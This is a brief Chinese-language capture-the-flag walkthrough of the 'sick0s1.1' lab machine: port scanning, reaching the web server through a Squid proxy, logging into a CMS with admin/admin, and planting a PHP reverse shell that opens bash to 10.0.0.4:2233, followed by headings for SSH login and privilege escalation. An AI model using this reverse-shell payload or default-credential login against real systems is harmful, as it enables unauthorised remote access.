sick0s1.1

信息收集

nmap存活及端口：

nmap服务扫描：

web

80和8080都没有开放，，无法访问，gobuster等工具也跑不了，访问一下3128试试

根据端口服务扫描也能得知这是个http的代理服务器，，我们添加代理后再次访问80和8080，，

80可以成功访问：

扫描后台：

访问robots.txt 发现有个cms的目录，，

 

搜到后台路径：

弱口令 admin/admin登录：

在 homepage 中添加php反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.4/2233 0>&1'"); ?>

kali开启监听

web再次访问首页 即可获得shell

发现数据库帐号密码：

ssh登录：

提权：

flag：